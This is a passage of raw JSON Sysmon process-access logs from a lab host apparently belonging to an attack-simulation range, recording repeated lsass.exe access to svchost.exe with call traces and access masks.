11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1058,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1059,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1060,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1061,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1062,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1063,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1064,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:49.891","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FDD-5F2D-0000-00107FFE0100}","TargetProcessId":"3024","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1065,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:49.891\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FDD-5F2D-0000-00107FFE0100}\r\nTargetProcessId: 3024\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 